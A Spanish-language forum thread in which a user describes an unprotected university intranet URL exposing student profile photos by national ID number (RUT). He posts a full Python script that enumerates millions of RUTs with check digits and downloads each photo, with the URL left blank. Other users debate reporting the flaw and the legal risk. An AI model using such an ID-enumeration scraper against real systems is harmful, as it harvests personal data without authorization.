Reportar fallo a casa de estudios [Python3]

freishner

Capo
Se incorporó
16 Noviembre 2021
Mensajes
436
Espero me puedan orientar.

Contexto
Urgando por ahí me tope con una URL desprotegida que permite accesar a la foto de perfil de un estudiante. Ésta se encuentra dentro del portal de una casa de estudios, dentro de la intranet.

Dicha URL, permite accesar a la foto de la persona en cuestión mediante su RUT, ergo a la foto de otras personas tambien, desde fuera de la intranet. Si bien son fotos en baja resolución, filtrando las fotos genéricas una vez identificadas es posible crear un listado de usuarios dentro del sistema a partir de dichos RUTs y especular al respecto.

Just 4 fun
Cómo se imaginarán, el script que colecta ya lo tengo hecho, y ahora que lo terminé (y lo entretenido cesó), me preguntaba si publicarlo por acá para curiosidad general, no hacer nada, o comunicarme con la casa de estudios en cuestión y reportar. Tampoco tengo los skills en hacking/seguridad para urgar mucho y adentrarme mas, puesto que estoy aprendiendo lentamente en la medida que el trabajo me da tregua.

¿Qué harían ustedes?

PD: Habiendo terminado de escribir (para curiosidad general), me decidí a publicar el script, puesto que sin la URL es inofensivo.
PD#2: Ahora la cuestión es, reportar o no reportar...
Python:
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
from itertools import cycle
from os.path import exists
from requests import get
from requests.exceptions import ConnectionError
from time import sleep
  
def dv(rut):
    reversed_digits = map(int, reversed(str(rut)))
    factors = cycle(range(2, 8))
    s = sum(d * f for d, f in zip(reversed_digits, factors))
    dv = (-s) % 11
    return 'K' if dv == 10 else dv
def profile(url, name):
    print(f"Downloading DNI {name} profile img...", end='')
    # DOWNLOAD
    with get(url, stream=True) as r:
        if r.status_code == 200:
            # ABORT WHEN DNI DOES NOT HAVE PROFILE IMG
            if r.headers['Content-Type'] == 'image/png' and r.headers['Content-Length'] == '808':
                print('[Aborted]')
            else:
                profileName = 'img/' + name + '.' + r.headers['Content-Type'].split('/')[1]
                if exists(profileName):
                    print('[PROFILE ALREADY EXISTS]')
                else:
                    # SAVE
                    with open(profileName, 'wb') as f:
                        for chunk in r.iter_content(chunk_size=8192):
                            f.write(chunk)
                print('[OK]')
        else:
            print('[HTTP %s]' % r.status_code)
          
            # RETRY ON HTTP 500 AFTER 800ms
            if r.status_code == 500:
                print('Retrying...')
                sleep(0.8)
                profile(url, name)
def saveProgress(dni):
    '''Just for fun'''
    f = open('progress', 'w')
    f.write(dni)
    f.close()
def run():
    # DNI URL
    dniURL = ''
    # GENERATE DNI
    dniMin = 10000000
    dniMax = 25999999
    for i in range(dniMin, dniMax + 1):
        dni = str(i) + '-' + str(dv(i))
      
        try:
            profile(f"{dniURL}{dni}", dni)
        except ConnectionError as e:
            print('\nNetwork Error... retrying...')
            profile(f"{dniURL}{dni}", dni)
          
        saveProgress(dni)
if __name__ == '__main__':
    try:
        run()
    except KeyboardInterrupt as e:
        print("\n\n...Aborted!")
 
Última modificación:

tglaria

InExperto
Se incorporó
10 Febrero 2005
Mensajes
9.753
Habria que contactarse con ¿el dpto de informática? e informar de la situación.

En una de esas no lo emcuentran importante, ahí habria que comentarles a los involucrados para que reclamen.
Si tampoco lo emcuentran relevante, hacerlo publico.
Yo no encuentro critico el que se publique la imagen, pero es una indicacion de que probablemente hay varias cosas más publicas que no debieran.
 
Upvote 0

ricm

Se incorporó
28 Agosto 2005
Mensajes
7.589
Encontré un error en el portal del banco de chile, lo reporte y con cueva me pescaron. Ojala no sea así con tu caso.
 
Upvote 0

sebaestrada

Miembro Regular
Se incorporó
1 Septiembre 2021
Mensajes
40
Yo creo que también depende de a quién le informes, en una de esas podría llegarle un pixulazo a los encargados de mantener ese sistema.
 
Upvote 0

Zuljin

Fundador
Miembro del Equipo
Fundador
ADMIN
Se incorporó
15 Enero 2004
Mensajes
11.872
O capaz que te demanden, ya a pasado otras veces

Depende...

Tenís que contarle como encontraste la falla nomás. Si estabas usando el sistema para lo cual fue diseñado entonces no hay problema, pero si estabas haciendo hacking ético sin que nadie te lo pidiera entonces efectivamente puedes verte envuelto en un lío legal.
 
Upvote 0

freishner

Capo
Se incorporó
16 Noviembre 2021
Mensajes
436
Depende...

Tenís que contarle como encontraste la falla nomás. Si estabas usando el sistema para lo cual fue diseñado entonces no hay problema, pero si estabas haciendo hacking ético sin que nadie te lo pidiera entonces efectivamente puedes verte envuelto en un lío legal.
Lo usaba un familiar, justo me pidió el favor de meterse en mi pc, y delante del vimos el tema, ya que tambien le picó la curiosidad.
De todas formas, sirve de aprendizaje. Ya sea que se reporte o no.
 
Upvote 0
Subir